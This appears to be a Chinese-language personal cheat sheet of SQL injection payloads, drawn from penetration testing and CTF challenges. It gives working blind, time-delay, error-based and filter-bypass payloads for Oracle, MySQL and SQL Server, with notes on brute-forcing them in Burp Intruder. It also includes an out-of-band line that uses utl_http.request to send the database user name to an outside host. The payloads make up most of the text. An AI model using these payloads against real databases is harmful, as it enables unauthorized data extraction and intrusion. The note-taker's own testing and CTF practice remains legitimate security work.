SQL注入笔记

Oracle

在日常测试中针对Oracle数据库的注入字符串拼接盲注payload

是否判断

1
'||decode(substr(user,1,1),'z','','1')||'

短一点

1
select 'ab'||nullif('S',lpad(user,1))||'cd' from dual

延时

1
'||decode(substr(user,1,1),'x',DBMS_PIPE.RECEIVE_MESSAGE('S',3),'1')||'

在不能使用逗号的情况下,利用case when判断是非,结合order by排序,观察变化临界点,然后逐个增加正确字母长度直到完整
Burp Intruder需要使用Pitchfork两个字母变量保存一致进行爆破

1
'||CASE user WHEN (select * from (select user from dual where 1=1 union select 'N§B§' from dual order by 1) where rownum = 1) THEN 0 ELSE 1 END||'

此外,Oracle可以试试中文逗号!

1
lpad(user,1)   #%EF%BC%8C

上述改版,没有单引号,适用于数字型注入

1
||case user when (select * from (select user from dual where 1=1 union select UTL_RAW.cast_to_varchar2(HEXTORAW(53)) from dual order by 1) where ROWNUM=1) then 0 else 1 end||

带外注入(或者拼接在子域用自建dns服务记录结果)

1
'||utl_http.request('http://192.168.110.1:9999/'||user)||'

手动报错

1
select (case 1 when 1 then 1 else 1/0 end) from dual;

判断语句

1
2
3
4
case a when b then c else d end #如果a等于b,返回c,否则返回d,c、d参数类型要一致
decode(a, b, c, d) #如果a等于b,返回c,否则返回d
nullif(a, b) #如果a等于b,返回NULL,否则返回a
regexp_replace()

字符串操作函数

1
2
3
4
5
substr()
instr()
lpad("abc", 2) #返回'ab'
rpad()
HEXTORAW() #返回binary类型

Mysql

binary 区分大小写 in 判断字母

1
/index.php?id=/**/5/**/and/**/binary/**/substr((select/**/flag/**/from/**/flag/**/limit/**/1),§1§,1)/**/in/**/('§a§');#

rlike 是正则表达式匹配返回真假 str rlike pattern

case when条件假会输出0x28,0x28是括号,会报错

1
' RLIKE (select (case when (1=1) then 1 else 0x28 end)) and '1'='1
1
select * from user where email rlike (select (case when (2=1) then '123' else 0x28 end));

可以让延时注入转变成布尔注入


下面这个是CTF中遇到的,非盲注,过滤了一些关键字,主要是使用无列名查询技巧进行绕过,union select一个新表并且列数和目标表列数一样,命名你要查的列就可以了

1
x.php?id=0/**/union/**/select/**/1,group_concat(b),3,4/**/from/**/(select/**/1,2/**/as/**/b/**/union/**/select/**/*/**/from/**/flag)a 

SQL Server

过滤了char等函数

1
concat(3,charindex('a',LEFT(user,2),2))